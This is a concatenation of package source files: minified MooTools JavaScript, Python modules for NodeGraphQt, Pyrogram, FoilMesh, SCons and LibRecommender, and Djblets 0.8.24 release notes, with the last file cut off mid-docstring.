b.setStyle(e,h+c);}}return{from:this.parse(h),to:this.parse(g)};},parse:function(a){a=Function.from(a)();a=(typeof a=="string")?a.split(" "):Array.from(a); return a.map(function(c){c=String(c);var b=false;Object.each(Fx.CSS.Parsers,function(f,e){if(b){return;}var d=f.parse(c);if(d||d===0){b={value:d,parser:f}; }});b=b||{value:c,parser:Fx.CSS.Parsers.String};return b;});},compute:function(d,c,b){var a=[];(Math.min(d.length,c.length)).times(function(e){a.push({value:d[e].parser.compute(d[e].value,c[e].value,b),parser:d[e].parser}); });a.$family=Function.from("fx:css:value");return a;},serve:function(c,b){if(typeOf(c)!="fx:css:value"){c=this.parse(c);}var a=[];c.each(function(d){a=a.concat(d.parser.serve(d.value,b)); });return a;},render:function(a,d,c,b){a.setStyle(d,this.serve(c,b));},search:function(a){if(Fx.CSS.Cache[a]){return Fx.CSS.Cache[a];}var c={},b=new RegExp("^"+a.escapeRegExp()+"$"); Array.each(document.styleSheets,function(f,e){var d=f.href;if(d&&d.contains("://")&&!d.contains(document.domain)){return;}var g=f.rules||f.cssRules;Array.each(g,function(k,h){if(!k.style){return; }var j=(k.selectorText)?k.selectorText.replace(/^\w+/,function(i){return i.toLowerCase();}):null;if(!j||!b.test(j)){return;}Object.each(Element.Styles,function(l,i){if(!k.style[i]||Element.ShortStyles[i]){return; }l=String(k.style[i]);c[i]=((/^rgb/).test(l))?l.rgbToHex():l;});});});return Fx.CSS.Cache[a]=c;}});Fx.CSS.Cache={};Fx.CSS.Parsers={Color:{parse:function(a){if(a.match(/^#[0-9a-f]{3,6}$/i)){return a.hexToRgb(true); }return((a=a.match(/(\d+),\s*(\d+),\s*(\d+)/)))?[a[1],a[2],a[3]]:false;},compute:function(c,b,a){return c.map(function(e,d){return Math.round(Fx.compute(c[d],b[d],a)); });},serve:function(a){return a.map(Number);}},Number:{parse:parseFloat,compute:Fx.compute,serve:function(b,a){return(a)?b+a:b;}},String:{parse:Function.from(false),compute:function(b,a){return a; },serve:function(a){return a;}}};Fx.Tween=new Class({Extends:Fx.CSS,initialize:function(b,a){this.element=this.subject=document.id(b);this.parent(a);},set:function(b,a){if(arguments.length==1){a=b; b=this.property||this.options.property;}this.render(this.element,b,a,this.options.unit);return this;},start:function(c,e,d){if(!this.check(c,e,d)){return this; }var b=Array.flatten(arguments);this.property=this.options.property||b.shift();var a=this.prepare(this.element,this.property,b);return this.parent(a.from,a.to); }});Element.Properties.tween={set:function(a){this.get("tween").cancel().setOptions(a);return this;},get:function(){var a=this.retrieve("tween");if(!a){a=new Fx.Tween(this,{link:"cancel"}); this.store("tween",a);}return a;}};Element.implement({tween:function(a,c,b){this.get("tween").start(a,c,b);return this;},fade:function(d){var e=this.get("tween"),g,c=["opacity"].append(arguments),a; if(c[1]==null){c[1]="toggle";}switch(c[1]){case"in":g="start";c[1]=1;break;case"out":g="start";c[1]=0;break;case"show":g="set";c[1]=1;break;case"hide":g="set"; c[1]=0;break;case"toggle":var b=this.retrieve("fade:flag",this.getStyle("opacity")==1);g="start";c[1]=b?0:1;this.store("fade:flag",!b);a=true;break;default:g="start"; }if(!a){this.eliminate("fade:flag");}e[g].apply(e,c);var f=c[c.length-1];if(g=="set"||f!=0){this.setStyle("visibility",f==0?"hidden":"visible");}else{e.chain(function(){this.element.setStyle("visibility","hidden"); this.callChain();});}return this;},highlight:function(c,a){if(!a){a=this.retrieve("highlight:original",this.getStyle("background-color"));a=(a=="transparent")?"#fff":a; }var b=this.get("tween");b.start("background-color",c||"#ffff88",a).chain(function(){this.setStyle("background-color",this.retrieve("highlight:original")); b.callChain();}.bind(this));return this;}});Fx.Morph=new Class({Extends:Fx.CSS,initialize:function(b,a){this.element=this.subject=document.id(b);this.parent(a); },set:function(a){if(typeof a=="string"){a=this.search(a);}for(var b in a){this.render(this.element,b,a[b],this.options.unit);}return this;},compute:function(e,d,c){var a={}; for(var b in e){a[b]=this.parent(e[b],d[b],c);}return a;},start:function(b){if(!this.check(b)){return this;}if(typeof b=="string"){b=this.search(b);}var e={},d={}; for(var c in b){var a=this.prepare(this.element,c,b[c]);e[c]=a.from;d[c]=a.to;}return this.parent(e,d);}});Element.Properties.morph={set:function(a){this.get("morph").cancel().setOptions(a); return this;},get:function(){var a=this.retrieve("morph");if(!a){a=new Fx.Morph(this,{link:"cancel"});this.store("morph",a);}return a;}};Element.implement({morph:function(a){this.get("morph").start(a); return this;}});Fx.implement({getTransition:function(){var a=this.options.transition||Fx.Transitions.Sine.easeInOut;if(typeof a=="string"){var b=a.split(":"); a=Fx.Transitions;a=a[b[0]]||a[b[0].capitalize()];if(b[1]){a=a["ease"+b[1].capitalize()+(b[2]?b[2].capitalize():"")];}}return a;}});Fx.Transition=function(c,b){b=Array.from(b); var a=function(d){return c(d,b);};return Object.append(a,{easeIn:a,easeOut:function(d){return 1-c(1-d,b);},easeInOut:function(d){return(d<=0.5?c(2*d,b):(2-c(2*(1-d),b)))/2; }});};Fx.Transitions={linear:function(a){return a;}};Fx.Transitions.extend=function(a){for(var b in a){Fx.Transitions[b]=new Fx.Transition(a[b]);}};Fx.Transitions.extend({Pow:function(b,a){return Math.pow(b,a&&a[0]||6); },Expo:function(a){return Math.pow(2,8*(a-1));},Circ:function(a){return 1-Math.sin(Math.acos(a));},Sine:function(a){return 1-Math.cos(a*Math.PI/2);},Back:function(b,a){a=a&&a[0]||1.618; return Math.pow(b,2)*((a+1)*b-a);},Bounce:function(f){var e;for(var d=0,c=1;1;d+=c,c/=2){if(f>=(7-4*d)/11){e=c*c-Math.pow((11-6*d-11*f)/4,2);break;}}return e; },Elastic:function(b,a){return Math.pow(2,10*--b)*Math.cos(20*b*Math.PI*(a&&a[0]||1)/3);}});["Quad","Cubic","Quart","Quint"].each(function(b,a){Fx.Transitions[b]=new Fx.Transition(function(c){return Math.pow(c,a+2); });});(function(){var d=function(){},a=("onprogress" in new Browser.Request);var c=this.Request=new Class({Implements:[Chain,Events,Options],options:{url:"",data:"",headers:{"X-Requested-With":"XMLHttpRequest",Accept:"text/javascript, text/html, application/xml, text/xml, */*"},async:true,format:false,method:"post",link:"ignore",isSuccess:null,emulation:true,urlEncoded:true,encoding:"utf-8",evalScripts:false,evalResponse:false,timeout:0,noCache:false},initialize:function(e){this.xhr=new Browser.Request(); this.setOptions(e);this.headers=this.options.headers;},onStateChange:function(){var e=this.xhr;if(e.readyState!=4||!this.running){return;}this.running=false; this.status=0;Function.attempt(function(){var f=e.status;this.status=(f==1223)?204:f;}.bind(this));e.onreadystatechange=d;if(a){e.onprogress=e.onloadstart=d; }clearTimeout(this.timer);this.response={text:this.xhr.responseText||"",xml:this.xhr.responseXML};if(this.options.isSuccess.call(this,this.status)){this.success(this.response.text,this.response.xml); }else{this.failure();}},isSuccess:function(){var e=this.status;return(e>=200&&e<300);},isRunning:function(){return !!this.running;},processScripts:function(e){if(this.options.evalResponse||(/(ecma|java)script/).test(this.getHeader("Content-type"))){return Browser.exec(e); }return e.stripScripts(this.options.evalScripts);},success:function(f,e){this.onSuccess(this.processScripts(f),e);},onSuccess:function(){this.fireEvent("complete",arguments).fireEvent("success",arguments).callChain(); },failure:function(){this.onFailure();},onFailure:function(){this.fireEvent("complete").fireEvent("failure",this.xhr);},loadstart:function(e){this.fireEvent("loadstart",[e,this.xhr]); },progress:function(e){this.fireEvent("progress",[e,this.xhr]);},timeout:function(){this.fireEvent("timeout",this.xhr);},setHeader:function(e,f){this.headers[e]=f; return this;},getHeader:function(e){return Function.attempt(function(){return this.xhr.getResponseHeader(e);}.bind(this));},check:function(){if(!this.running){return true; }switch(this.options.link){case"cancel":this.cancel();return true;case"chain":this.chain(this.caller.pass(arguments,this));return false;}return false;},send:function(o){if(!this.check(o)){return this; }this.options.isSuccess=this.options.isSuccess||this.isSuccess;this.running=true;var l=typeOf(o);if(l=="string"||l=="element"){o={data:o};}var h=this.options; o=Object.append({data:h.data,url:h.url,method:h.method},o);var j=o.data,f=String(o.url),e=o.method.toLowerCase();switch(typeOf(j)){case"element":j=document.id(j).toQueryString(); break;case"object":case"hash":j=Object.toQueryString(j);}if(this.options.format){var m="format="+this.options.format;j=(j)?m+"&"+j:m;}if(this.options.emulation&&!["get","post"].contains(e)){var k="_method="+e; j=(j)?k+"&"+j:k;e="post";}if(this.options.urlEncoded&&["post","put"].contains(e)){var g=(this.options.encoding)?"; charset="+this.options.encoding:"";this.headers["Content-type"]="application/x-www-form-urlencoded"+g; }if(!f){f=document.location.pathname;}var i=f.lastIndexOf("/");if(i>-1&&(i=f.indexOf("#"))>-1){f=f.substr(0,i);}if(this.options.noCache){f+=(f.contains("?")?"&":"?")+String.uniqueID(); }if(j&&e=="get"){f+=(f.contains("?")?"&":"?")+j;j=null;}var n=this.xhr;if(a){n.onloadstart=this.loadstart.bind(this);n.onprogress=this.progress.bind(this); }n.open(e.toUpperCase(),f,this.options.async,this.options.user,this.options.password);if(this.options.user&&"withCredentials" in n){n.withCredentials=true; }n.onreadystatechange=this.onStateChange.bind(this);Object.each(this.headers,function(q,p){try{n.setRequestHeader(p,q);}catch(r){this.fireEvent("exception",[p,q]); }},this);this.fireEvent("request");n.send(j);if(!this.options.async){this.onStateChange();}else{if(this.options.timeout){this.timer=this.timeout.delay(this.options.timeout,this); }}return this;},cancel:function(){if(!this.running){return this;}this.running=false;var e=this.xhr;e.abort();clearTimeout(this.timer);e.onreadystatechange=d; if(a){e.onprogress=e.onloadstart=d;}this.xhr=new Browser.Request();this.fireEvent("cancel");return this;}});var b={};["get","post","put","delete","GET","POST","PUT","DELETE"].each(function(e){b[e]=function(g){var f={method:e}; if(g!=null){f.data=g;}return this.send(f);};});c.implement(b);Element.Properties.send={set:function(e){var f=this.get("send").cancel();f.setOptions(e); return this;},get:function(){var e=this.retrieve("send");if(!e){e=new c({data:this,link:"cancel",method:this.get("method")||"post",url:this.get("action")}); this.store("send",e);}return e;}};Element.implement({send:function(e){var f=this.get("send");f.send({data:this,url:e||f.options.url});return this;}});})(); Request.HTML=new Class({Extends:Request,options:{update:false,append:false,evalScripts:true,filter:false,headers:{Accept:"text/html, application/xml, text/xml, */*"}},success:function(f){var e=this.options,c=this.response; c.html=f.stripScripts(function(h){c.javascript=h;});var d=c.html.match(/<body[^>]*>([\s\S]*?)<\/body>/i);if(d){c.html=d[1];}var b=new Element("div").set("html",c.html); c.tree=b.childNodes;c.elements=b.getElements(e.filter||"*");if(e.filter){c.tree=c.elements;}if(e.update){var g=document.id(e.update).empty();if(e.filter){g.adopt(c.elements); }else{g.set("html",c.html);}}else{if(e.append){var a=document.id(e.append);if(e.filter){c.elements.reverse().inject(a);}else{a.adopt(b.getChildren());}}}if(e.evalScripts){Browser.exec(c.javascript); }this.onSuccess(c.tree,c.elements,c.html,c.javascript);}});Element.Properties.load={set:function(a){var b=this.get("load").cancel();b.setOptions(a);return this; },get:function(){var a=this.retrieve("load");if(!a){a=new Request.HTML({data:this,link:"cancel",update:this,method:"get"});this.store("load",a);}return a; }};Element.implement({load:function(){this.get("load").send(Array.link(arguments,{data:Type.isObject,url:Type.isString}));return this;}});if(typeof JSON=="undefined"){this.JSON={}; }(function(){var special={"\b":"\\b","\t":"\\t","\n":"\\n","\f":"\\f","\r":"\\r",'"':'\\"',"\\":"\\\\"};var escape=function(chr){return special[chr]||"\\u"+("0000"+chr.charCodeAt(0).toString(16)).slice(-4); };JSON.validate=function(string){string=string.replace(/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g,"@").replace(/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g,"]").replace(/(?:^|:|,)(?:\s*\[)+/g,""); return(/^[\],:{}\s]*$/).test(string);};JSON.encode=JSON.stringify?function(obj){return JSON.stringify(obj);}:function(obj){if(obj&&obj.toJSON){obj=obj.toJSON(); }switch(typeOf(obj)){case"string":return'"'+obj.replace(/[\x00-\x1f\\"]/g,escape)+'"';case"array":return"["+obj.map(JSON.encode).clean()+"]";case"object":case"hash":var string=[]; Object.each(obj,function(value,key){var json=JSON.encode(value);if(json){string.push(JSON.encode(key)+":"+json);}});return"{"+string+"}";case"number":case"boolean":return""+obj; case"null":return"null";}return null;};JSON.decode=function(string,secure){if(!string||typeOf(string)!="string"){return null;}if(secure||JSON.secure){if(JSON.parse){return JSON.parse(string); }if(!JSON.validate(string)){throw new Error("JSON could not decode the input; security is enabled and the value is not secure.");}}return eval("("+string+")"); };})();Request.JSON=new Class({Extends:Request,options:{secure:true},initialize:function(a){this.parent(a);Object.append(this.headers,{Accept:"application/json","X-Request":"JSON"}); },success:function(c){var b;try{b=this.response.json=JSON.decode(c,this.options.secure);}catch(a){this.fireEvent("error",[c,a]);return;}if(b==null){this.onFailure(); }else{this.onSuccess(b,c);}}});var Cookie=new Class({Implements:Options,options:{path:"/",domain:false,duration:false,secure:false,document:document,encode:true},initialize:function(b,a){this.key=b; this.setOptions(a);},write:function(b){if(this.options.encode){b=encodeURIComponent(b);}if(this.options.domain){b+="; domain="+this.options.domain;}if(this.options.path){b+="; path="+this.options.path; }if(this.options.duration){var a=new Date();a.setTime(a.getTime()+this.options.duration*24*60*60*1000);b+="; expires="+a.toGMTString();}if(this.options.secure){b+="; secure"; }this.options.document.cookie=this.key+"="+b;return this;},read:function(){var a=this.options.document.cookie.match("(?:^|;)\\s*"+this.key.escapeRegExp()+"=([^;]*)"); return(a)?decodeURIComponent(a[1]):null;},dispose:function(){new Cookie(this.key,Object.merge({},this.options,{duration:-1})).write("");return this;}}); Cookie.write=function(b,c,a){return new Cookie(b,a).write(c);};Cookie.read=function(a){return new Cookie(a).read();};Cookie.dispose=function(b,a){return new Cookie(b,a).dispose(); };(function(i,k){var l,f,e=[],c,b,d=k.createElement("div");var g=function(){clearTimeout(b);if(l){return;}Browser.loaded=l=true;k.removeListener("DOMContentLoaded",g).removeListener("readystatechange",a); k.fireEvent("domready");i.fireEvent("domready");};var a=function(){for(var m=e.length;m--;){if(e[m]()){g();return true;}}return false;};var j=function(){clearTimeout(b); if(!a()){b=setTimeout(j,10);}};k.addListener("DOMContentLoaded",g);var h=function(){try{d.doScroll();return true;}catch(m){}return false;};if(d.doScroll&&!h()){e.push(h); c=true;}if(k.readyState){e.push(function(){var m=k.readyState;return(m=="loaded"||m=="complete");});}if("onreadystatechange" in k){k.addListener("readystatechange",a); }else{c=true;}if(c){j();}Element.Events.domready={onAdd:function(m){if(l){m.call(this);}}};Element.Events.load={base:"load",onAdd:function(m){if(f&&this==i){m.call(this); }},condition:function(){if(this==i){g();delete Element.Events.load;}return true;}};i.addEvent("load",function(){f=true;});})(window,document);(function(){var Swiff=this.Swiff=new Class({Implements:Options,options:{id:null,height:1,width:1,container:null,properties:{},params:{quality:"high",allowScriptAccess:"always",wMode:"window",swLiveConnect:true},callBacks:{},vars:{}},toElement:function(){return this.object; },initialize:function(path,options){this.instance="Swiff_"+String.uniqueID();this.setOptions(options);options=this.options;var id=this.id=options.id||this.instance; var container=document.id(options.container);Swiff.CallBacks[this.instance]={};var params=options.params,vars=options.vars,callBacks=options.callBacks; var properties=Object.append({height:options.height,width:options.width},options.properties);var self=this;for(var callBack in callBacks){Swiff.CallBacks[this.instance][callBack]=(function(option){return function(){return option.apply(self.object,arguments); };})(callBacks[callBack]);vars[callBack]="Swiff.CallBacks."+this.instance+"."+callBack;}params.flashVars=Object.toQueryString(vars);if(Browser.ie){properties.classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"; params.movie=path;}else{properties.type="application/x-shockwave-flash";}properties.data=path;var build='<object id="'+id+'"';for(var property in properties){build+=" "+property+'="'+properties[property]+'"'; }build+=">";for(var param in params){if(params[param]){build+='<param name="'+param+'" value="'+params[param]+'" />';}}build+="</object>";this.object=((container)?container.empty():new Element("div")).set("html",build).firstChild; },replaces:function(element){element=document.id(element,true);element.parentNode.replaceChild(this.toElement(),element);return this;},inject:function(element){document.id(element,true).appendChild(this.toElement()); return this;},remote:function(){return Swiff.remote.apply(Swiff,[this.toElement()].append(arguments));}});Swiff.CallBacks={};Swiff.remote=function(obj,fn){var rs=obj.CallFunction('<invoke name="'+fn+'" returntype="javascript">'+__flash__argumentsToXML(arguments,2)+"</invoke>"); return eval(rs);};})();
PypiClean
/NodeGraphQt_QuiltiX_fork-0.6.0.tar.gz/NodeGraphQt_QuiltiX_fork-0.6.0/NodeGraphQt/custom_widgets/properties_bin/custom_widget_value_edit.py
from Qt import QtWidgets, QtCore, QtGui class _NumberValueMenu(QtWidgets.QMenu): mouseMove = QtCore.Signal(object) mouseRelease = QtCore.Signal(object) stepChange = QtCore.Signal() def __init__(self, parent=None): super(_NumberValueMenu, self).__init__(parent) self.step = 1 self.steps = [] self.last_action = None def __repr__(self): return '<{}() object at {}>'.format( self.__class__.__name__, hex(id(self))) # re-implemented. def mousePressEvent(self, event): """ Disabling the mouse press event. """ return def mouseReleaseEvent(self, event): """ Additional functionality to emit signal. """ self.mouseRelease.emit(event) super(_NumberValueMenu, self).mouseReleaseEvent(event) def mouseMoveEvent(self, event): """ Additional functionality to emit step changed signal. """ self.mouseMove.emit(event) super(_NumberValueMenu, self).mouseMoveEvent(event) action = self.actionAt(event.pos()) if action: if action is not self.last_action: self.stepChange.emit() self.last_action = action self.step = action.step elif self.last_action: self.setActiveAction(self.last_action) def _add_step_action(self, step): action = QtWidgets.QAction(str(step), self) action.step = step self.addAction(action) def set_steps(self, steps): self.clear() self.steps = steps for step in steps: self._add_step_action(step) def set_data_type(self, data_type): if data_type is int: new_steps = [] for step in self.steps: if '.' not in str(step): new_steps.append(step) self.set_steps(new_steps) elif data_type is float: self.set_steps(self.steps) class _NumberValueEdit(QtWidgets.QLineEdit): valueChanged = QtCore.Signal(object) def __init__(self, parent=None, data_type=float): super(_NumberValueEdit, self).__init__(parent) self.setToolTip('"MMB + Drag Left/Right" to change values.') self.setText('0') self._MMB_STATE = False self._previous_x = None self._previous_value = None self._step = 1 self._speed = 0.1 self._data_type = float self._menu = _NumberValueMenu() self._menu.mouseMove.connect(self.mouseMoveEvent) self._menu.mouseRelease.connect(self.mouseReleaseEvent) self._menu.stepChange.connect(self._reset_previous_x) self._menu.set_steps([0.001, 0.01, 0.1, 1, 10, 100, 1000]) self.editingFinished.connect(self._on_text_changed) self.set_data_type(data_type) def __repr__(self): return '<{}() object at {}>'.format( self.__class__.__name__, hex(id(self))) # re-implemented def mouseMoveEvent(self, event): if self._MMB_STATE: if self._previous_x is None: self._previous_x = event.x() self._previous_value = self.get_value() else: self._step = self._menu.step delta = event.x() - self._previous_x value = self._previous_value value = value + int(delta * self._speed) * self._step self.set_value(value) self._on_text_changed() super(_NumberValueEdit, self).mouseMoveEvent(event) def mousePressEvent(self, event): if event.button() == QtCore.Qt.MiddleButton: self._MMB_STATE = True self._reset_previous_x() self._menu.exec_(QtGui.QCursor.pos()) super(_NumberValueEdit, self).mousePressEvent(event) def mouseReleaseEvent(self, event): self._menu.close() self._MMB_STATE = False super(_NumberValueEdit, self).mouseReleaseEvent(event) def keyPressEvent(self, event): super(_NumberValueEdit, self).keyPressEvent(event) if event.key() == QtCore.Qt.Key_Up: return elif event.key() == QtCore.Qt.Key_Down: return # private def _reset_previous_x(self): self._previous_x = None def _on_text_changed(self): self.valueChanged.emit(self.get_value()) def _convert_text(self, text): # int("1.0") will return error # so we use int(float("1.0")) try: value = float(text) except: value = 0.0 if self._data_type is int: value = int(value) return value # public def set_data_type(self, data_type): self._data_type = data_type self._menu.set_data_type(data_type) if data_type is int: self.setValidator(QtGui.QIntValidator()) elif data_type is float: self.setValidator(QtGui.QDoubleValidator()) def set_steps(self, steps=None): steps = steps or [0.001, 0.01, 0.1, 1, 10, 100, 1000] self._menu.set_steps(steps) def get_value(self): if self.text().startswith('.'): text = '0' + self.text() self.setText(text) return self._convert_text(self.text()) def set_value(self, value): if value != self.get_value(): self.setText(str(self._convert_text(value))) class IntValueEdit(_NumberValueEdit): def __init__(self, parent=None): super(IntValueEdit, self).__init__(parent, data_type=int) class FloatValueEdit(_NumberValueEdit): def __init__(self, parent=None): super(FloatValueEdit, self).__init__(parent, data_type=float) if __name__ == '__main__': app = QtWidgets.QApplication([]) int_edit = IntValueEdit() int_edit.set_steps([1, 10]) float_edit = FloatValueEdit() widget = QtWidgets.QWidget() layout = QtWidgets.QVBoxLayout(widget) layout.addWidget(int_edit) layout.addWidget(float_edit) widget.show() app.exec_()
PypiClean
/MetaGram-2.0.2.tar.gz/MetaGram-2.0.2/pyrogram/connection/connection.py
import asyncio import logging from typing import Optional from .transport import * from ..session.internals import DataCenter log = logging.getLogger(__name__) class Connection: MAX_RETRIES = 3 MODES = { 0: TCPFull, 1: TCPAbridged, 2: TCPIntermediate, 3: TCPAbridgedO, 4: TCPIntermediateO } def __init__(self, dc_id: int, test_mode: bool, ipv6: bool, proxy: dict, media: bool = False, mode: int = 3): self.dc_id = dc_id self.test_mode = test_mode self.ipv6 = ipv6 self.proxy = proxy self.media = media self.address = DataCenter(dc_id, test_mode, ipv6, media) self.mode = self.MODES.get(mode, TCPAbridged) self.protocol = None # type: TCP async def connect(self): for i in range(Connection.MAX_RETRIES): self.protocol = self.mode(self.ipv6, self.proxy) try: log.info("Connecting...") await self.protocol.connect(self.address) except OSError as e: log.warning(f"Unable to connect due to network issues: {e}") self.protocol.close() await asyncio.sleep(1) else: log.info("Connected! {} DC{}{} - IPv{} - {}".format( "Test" if self.test_mode else "Production", self.dc_id, " (media)" if self.media else "", "6" if self.ipv6 else "4", self.mode.__name__, )) break else: log.warning("Connection failed! Trying again...") raise TimeoutError def close(self): self.protocol.close() log.info("Disconnected") async def send(self, data: bytes): try: await self.protocol.send(data) except Exception as e: raise OSError(e) async def recv(self) -> Optional[bytes]: return await self.protocol.recv()
PypiClean
/FoilMesh-0.0.8.tar.gz/FoilMesh-0.0.8/foilmesh/contourAnalysis.py
import numpy as np # from PySide6 import QtCore, QtGui, QtWidgets # import PySide6.QtCharts as QtCharts # import logging # logger = logging.getLogger(__name__) class ContourAnalysis(): """Summary Attributes: canvas (TYPE): Description figure (TYPE): Description raw_coordinates (list): contour points as tuples toolbar (TYPE): Description """ def __init__(self, canvas=False): pass @staticmethod def getCurvature(spline_data): """Curvature and radius of curvature of a parametric curve der1 is dx/dt and dy/dt at each point der2 is d2x/dt2 and d2y/dt2 at each point Returns: float: Tuple of numpy arrays carrying gradient of the curve, the curvature, radiusses of curvature circles and curvature circle centers for each point of the curve """ coo = spline_data[0] der1 = spline_data[3] der2 = spline_data[4] xd = der1[0] yd = der1[1] x2d = der2[0] y2d = der2[1] n = xd**2 + yd**2 d = xd*y2d - yd*x2d # gradient dy/dx = dy/du / dx/du gradient = der1[1] / der1[0] # radius of curvature R = n**(3./2.) / abs(d) # curvature C = d / n**(3./2.) # coordinates of curvature-circle center points xc = coo[0] - R * yd / np.sqrt(n) yc = coo[1] + R * xd / np.sqrt(n) return [gradient, C, R, xc, yc] @staticmethod def getLeRadius(spline_data, curvature_data): """Identify leading edge radius, i.e. smallest radius of parametric curve Returns: FLOAT: leading edge radius, its center and related contour point and id """ radius = curvature_data[2] rc = np.min(radius) # numpy where returns a tuple # we take the first element, which is type array le_id = np.where(radius == rc)[0] # convert the numpy array to a list and take the first element le_id = le_id.tolist()[0] # leading edge curvature circle center xc = curvature_data[3][le_id] yc = curvature_data[4][le_id] xr, yr = spline_data[0] xle = xr[le_id] yle = yr[le_id] return rc, xc, yc, xle, yle, le_id def analyze(self): """get specific curve properties""" if not self.mainwindow.airfoil.spline_data: self.mainwindow.slots.messageBox('Please do splining first') return spline_data = self.mainwindow.airfoil.spline_data curvature_data = ContourAnalysis.getCurvature(spline_data) # add new attributes to airfoil instance self.mainwindow.airfoil.curvature_data = curvature_data self.drawContour() # def drawContour(self, quantity='gradient'): # """quantity is one of 'gradient', 'curvature', 'radius' """ # spline_data = self.mainwindow.airfoil.spline_data # curvature_data = self.mainwindow.airfoil.curvature_data # selector = {'gradient': 0, 'curvature': 1, 'radius': 2} # points = [QtCore.QPointF(x, y) for x, y in zip(spline_data[0][0], # curvature_data[selector[quantity]])] # self.lineSeries = QtCharts.QLineSeries() # self.lineSeries.append(points) # self.chart.removeAllSeries() # self.chart.addSeries(self.lineSeries) # self.chart.setAxisX(self.axisX, self.lineSeries) # self.chart.setAxisY(self.axisY, self.lineSeries)
PypiClean
/NVDA-addonTemplate-0.5.2.zip/NVDA-addonTemplate-0.5.2/NVDAAddonTemplate/data/{{cookiecutter.project_slug}}/scons-local-2.5.0/SCons/Tool/cc.py
__revision__ = "src/engine/SCons/Tool/cc.py rel_2.5.0:3543:937e55cd78f7 2016/04/09 11:29:54 bdbaddog" import SCons.Tool import SCons.Defaults import SCons.Util CSuffixes = ['.c', '.m'] if not SCons.Util.case_sensitive_suffixes('.c', '.C'): CSuffixes.append('.C') def add_common_cc_variables(env): """ Add underlying common "C compiler" variables that are used by multiple tools (specifically, c++). """ if '_CCCOMCOM' not in env: env['_CCCOMCOM'] = '$CPPFLAGS $_CPPDEFFLAGS $_CPPINCFLAGS' # It's a hack to test for darwin here, but the alternative # of creating an applecc.py to contain this seems overkill. # Maybe someday the Apple platform will require more setup and # this logic will be moved. env['FRAMEWORKS'] = SCons.Util.CLVar('') env['FRAMEWORKPATH'] = SCons.Util.CLVar('') if env['PLATFORM'] == 'darwin': env['_CCCOMCOM'] = env['_CCCOMCOM'] + ' $_FRAMEWORKPATH' if 'CCFLAGS' not in env: env['CCFLAGS'] = SCons.Util.CLVar('') if 'SHCCFLAGS' not in env: env['SHCCFLAGS'] = SCons.Util.CLVar('$CCFLAGS') compilers = ['cc'] def generate(env): """ Add Builders and construction variables for C compilers to an Environment. """ static_obj, shared_obj = SCons.Tool.createObjBuilders(env) for suffix in CSuffixes: static_obj.add_action(suffix, SCons.Defaults.CAction) shared_obj.add_action(suffix, SCons.Defaults.ShCAction) static_obj.add_emitter(suffix, SCons.Defaults.StaticObjectEmitter) shared_obj.add_emitter(suffix, SCons.Defaults.SharedObjectEmitter) add_common_cc_variables(env) if 'CC' not in env: env['CC'] = env.Detect(compilers) or compilers[0] env['CFLAGS'] = SCons.Util.CLVar('') env['CCCOM'] = '$CC -o $TARGET -c $CFLAGS $CCFLAGS $_CCCOMCOM $SOURCES' env['SHCC'] = '$CC' env['SHCFLAGS'] = SCons.Util.CLVar('$CFLAGS') env['SHCCCOM'] = '$SHCC -o $TARGET -c $SHCFLAGS $SHCCFLAGS $_CCCOMCOM $SOURCES' env['CPPDEFPREFIX'] = '-D' env['CPPDEFSUFFIX'] = '' env['INCPREFIX'] = '-I' env['INCSUFFIX'] = '' env['SHOBJSUFFIX'] = '.os' env['STATIC_AND_SHARED_OBJECTS_ARE_THE_SAME'] = 0 env['CFILESUFFIX'] = '.c' def exists(env): return env.Detect(env.get('CC', compilers)) # Local Variables: # tab-width:4 # indent-tabs-mode:nil # End: # vim: set expandtab tabstop=4 shiftwidth=4:
PypiClean
/Djblets-3.3.tar.gz/Djblets-3.3/docs/releasenotes/0.8.24.rst
============================ Djblets 0.8.24 Release Notes ============================ **Release date**: February 21, 2016 Compatibility ============= If you use django-storages_, make sure you're using a recent version (we recommend 1.1.8 or newer), as this release exposes a bug in earlier releases. .. _django-storages: https://django-storages.readthedocs.org/en/latest/ djblets.datagrid ================ * Fix errors with datagrid sorting with trailing commas. Some search crawlers such as Bingbot can attempt to load a datagrid with a sort column list that had a trailing comma, causing a crash. This now filters out any invalid column names. djblets.extensions ================== * Added the ability to set custom settings data for JavaScript extensions. JavaScript extensions (those using :py:class:`~djblets.extensions.extension.JSExtension`) used to output all of an extension's stored settings into the page. Extensions that want to limit that data, or provide a custom set of extension settings data, can override this using :py:meth:`JSExtension.get_settings <djblets.extensions.extension.JSExtension.get_settings>`. djblets.urls ============ * Sped up the clearing of URL caches in :py:class:`~djblets.urls.resolvers.DynamicURLResolver`. djblets.util ============ * Simplified generation of thumbnails and image crops, leading to performance gains. * :py:func:`~djblets.util.decorators.simple_decorator` and :py:func:`~djblets.util.decorators.basictag` now properly set ``__module__``. Contributors ============ * Barret Rennie * Christian Hammond * David Trowbridge * Weijie Sun
PypiClean
/LibRecommender-1.3.0-cp38-cp38-macosx_10_9_x86_64.whl/libreco/algorithms/transformer.py
import numpy as np from ..bases import ModelMeta, TfBase from ..batch.sequence import get_recent_seqs from ..layers import ( compute_causal_mask, compute_seq_mask, dense_nn, embedding_lookup, multi_head_attention, rms_norm, tf_attention, tf_dense, ) from ..layers.activation import swish from ..layers.transformer import ffn, positional_encoding from ..tfops import dropout_config, reg_config, tf from ..tfops.features import ( combine_seq_features, compute_dense_feats, compute_sparse_feats, ) from ..torchops import hidden_units_config from ..utils.misc import count_params from ..utils.validate import ( check_dense_values, check_multi_sparse, check_seq_mode, check_sparse_indices, dense_field_size, sparse_feat_size, sparse_field_size, ) class Transformer(TfBase, metaclass=ModelMeta): """*Transformer* algorithm. Parameters ---------- task : {'rating', 'ranking'} Recommendation task. See :ref:`Task`. data_info : :class:`~libreco.data.DataInfo` object Object that contains useful information for training and inference. loss_type : {'cross_entropy', 'focal'}, default: 'cross_entropy' Loss for model training. embed_size: int, default: 16 Vector size of embeddings. n_epochs: int, default: 1 Number of epochs for training. lr : float, default 0.001 Learning rate for training. lr_decay : bool, default: False Whether to use learning rate decay. epsilon : float, default: 1e-5 A small constant added to the denominator to improve numerical stability in Adam optimizer. According to the `official comment <https://github.com/tensorflow/tensorflow/blob/v1.15.0/tensorflow/python/training/adam.py#L64>`_, default value of `1e-8` for `epsilon` is generally not good, so here we choose `1e-5`. Users can try tuning this hyperparameter if the training is unstable. reg : float or None, default: None Regularization parameter, must be non-negative or None. batch_size : int, default: 256 Batch size for training. sampler : {'random', 